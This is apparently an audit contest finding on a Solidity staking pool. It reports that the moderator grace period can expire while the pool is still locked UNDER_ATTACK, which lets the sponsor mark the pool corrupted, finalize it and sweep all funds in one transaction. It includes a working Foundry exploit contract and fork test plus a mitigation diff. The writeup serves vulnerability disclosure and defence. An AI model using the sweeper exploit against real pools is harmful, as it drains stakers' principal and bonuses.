FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

The corruption grace period can expire before CORRUPTED exists, leaving the moderator no chance to act

Author Revealed upon completion

Root + Impact

Description

claimExpired() uses expiry + MODERATOR_CORRUPTED_GRACE as the cutoff for moderator review. The problem is that the registry can stay UNDER_ATTACK for the entire 180 days, and flagOutcome() rejects both SURVIVED and CORRUPTED while it is in that state. By the time CORRUPTED is finally created, the deadline may already be gone before the moderator could do anything.

The factory requires the sponsor to be the agreement owner and lets it choose the pool’s recovery address. The pinned AttackRegistry also makes the agreement owner the attack moderator by default and allows that role to be transferred while the agreement is still nonterminal.

While the registry is still UNDER_ATTACK, the sponsor can transfer the attack-moderator role to its own executor. After the deadline, one call to that executor runs:

markCorrupted
→ claimExpired
→ claimCorrupted

Those three calls happen in one transaction. The first creates CORRUPTED, the second immediately finalizes the pool as bad-faith CORRUPTED, and the third sends the full pool balance to the sponsor’s recovery address.

So the contract counts 180 days of moderator “inaction” while the moderator is not allowed to act at all.

The upstream corruption does not need to be fake. A real agreement-level breach may still need the pool moderator to choose SURVIVED because the breach was outside the pool’s narrower scope, or good-faith CORRUPTED so a whitehat receives the bounty. This transaction removes both choices.

The timeline is:

t0:
Registry is UNDER_ATTACK and riskWindowStart is recorded.
expiry:
The pool expires. The moderator still cannot choose either outcome.
expiry + 180 days:
The registry is still UNDER_ATTACK. The moderator has never been allowed to classify the pool.
one sponsor transaction:
markCorrupted
→ claimExpired
→ claimCorrupted
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
@> claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

Risk

Likelihood:

  • The pool remains unresolved for 180 days after expiry. Any caller can resolve it as EXPIRED while the registry remains UNDER_ATTACK, so this is a long public race.

  • The agreement remains in an active-risk state, and the sponsor retains or delegates the agreement’s attack-moderator role.

  • A genuine late agreement corruption is sufficient. The attack does not depend on forging a fake upstream incident.

Impact:

  • claimCorrupted() transfers the pool’s entire token balance to the sponsor-selected recovery address. The PoC loses 100e18 of staker principal plus a 50e18 bonus.

  • The independent moderator gets no transaction or block between creation of CORRUPTED and permanent finalization.

  • Both alternatives are lost: out-of-scope SURVIVED and good-faith CORRUPTED with a whitehat bounty.

Proof of Concept

This test proves both moderator outcomes are unavailable before the terminal transition, then executes markCorrupted() → claimExpired() → claimCorrupted() atomically and confirms the sponsor’s recovery address receives the full 150e18 pool balance.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract AtomicCorruptionSweeper {
error Unauthorized();
address internal immutable controller;
address internal immutable agreement;
IAttackRegistry internal immutable registry;
IConfidencePool internal immutable pool;
constructor(
address controller_,
address registry_,
address agreement_,
address pool_
) {
controller = controller_;
registry = IAttackRegistry(registry_);
agreement = agreement_;
pool = IConfidencePool(pool_);
}
function execute() external {
if (msg.sender != controller) revert Unauthorized();
registry.markCorrupted(agreement);
pool.claimExpired();
pool.claimCorrupted();
}
}
contract AtomicCorruptionSweeperForkPoC is Test {
address internal constant SAFE_HARBOR_REGISTRY =
0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY =
0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT =
0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER =
0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE =
0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16_000;
address internal moderator =
makeAddr("independent-pool-moderator");
address internal victim =
makeAddr("victim-staker");
address internal contributor =
makeAddr("bonus-contributor");
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal token;
function setUp() public {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
ConfidencePool poolImplementation =
new ConfidencePool();
ConfidencePoolFactory factoryImplementation =
new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(
SAFE_HARBOR_REGISTRY,
address(poolImplementation),
moderator
)
)
);
factory = ConfidencePoolFactory(address(proxy));
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(
DEMO_AGREEMENT,
address(token),
block.timestamp + 31 days,
1e18,
DEMO_AGREEMENT_OWNER,
accounts
)
);
assertEq(pool.owner(), DEMO_AGREEMENT_OWNER);
assertEq(
pool.recoveryAddress(),
DEMO_AGREEMENT_OWNER
);
}
function testFork_OneExternalCallCreatesCorruptedFinalizesAndSweeps()
external
{
token.mint(victim, 100e18);
vm.startPrank(victim);
token.approve(address(pool), 100e18);
pool.stake(100e18);
vm.stopPrank();
token.mint(contributor, 50e18);
vm.startPrank(contributor);
token.approve(address(pool), 50e18);
pool.contributeBonus(50e18);
vm.stopPrank();
IAttackRegistry registry =
IAttackRegistry(ATTACK_REGISTRY);
assertEq(
registry.getAttackModerator(DEMO_AGREEMENT),
DEMO_AGREEMENT_OWNER
);
assertEq(
uint256(
registry.getAgreementState(DEMO_AGREEMENT)
),
uint256(
IAttackRegistry.ContractState.UNDER_ATTACK
)
);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0);
AtomicCorruptionSweeper sweeper =
new AtomicCorruptionSweeper(
DEMO_AGREEMENT_OWNER,
ATTACK_REGISTRY,
DEMO_AGREEMENT,
address(pool)
);
vm.prank(DEMO_AGREEMENT_OWNER);
registry.transferAttackModerator(
DEMO_AGREEMENT,
address(sweeper)
);
assertEq(
registry.getAttackModerator(DEMO_AGREEMENT),
address(sweeper)
);
vm.warp(
pool.expiry()
+ pool.MODERATOR_CORRUPTED_GRACE()
);
uint256 sponsorBalanceBefore =
token.balanceOf(DEMO_AGREEMENT_OWNER);
// Before execute(), neither classification is valid.
vm.startPrank(moderator);
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
makeAddr("pre-call-whitehat")
);
vm.stopPrank();
// The only attacker-controlled top-level call
// after the auto-CORRUPTED deadline.
vm.prank(DEMO_AGREEMENT_OWNER);
sweeper.execute();
assertEq(
uint256(
registry.getAgreementState(DEMO_AGREEMENT)
),
uint256(
IAttackRegistry.ContractState.CORRUPTED
)
);
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(pool.claimsStarted());
assertEq(
token.balanceOf(DEMO_AGREEMENT_OWNER)
- sponsorBalanceBefore,
150e18
);
assertEq(token.balanceOf(address(pool)), 0);
address whitehat = makeAddr("whitehat");
// After execute(), both are permanently blocked.
vm.startPrank(moderator);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
whitehat
);
vm.stopPrank();
}
}

Recommended Mitigation

Start the grace period when the pool first observes CORRUPTED, not at pool expiry. The first observation must be stored without reverting; otherwise, the new timestamp is rolled back with the revert.

+ uint64 public corruptedObservedAt;
+ event CorruptedObserved(uint64 observedAt);
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
- if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
+ if (corruptedObservedAt == 0) {
+ corruptedObservedAt = uint64(block.timestamp);
+ emit CorruptedObserved(corruptedObservedAt);
+ return;
+ }
+
+ if (
+ block.timestamp
+ < uint256(corruptedObservedAt) + MODERATOR_CORRUPTED_GRACE
+ ) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(
address(0),
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
return;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!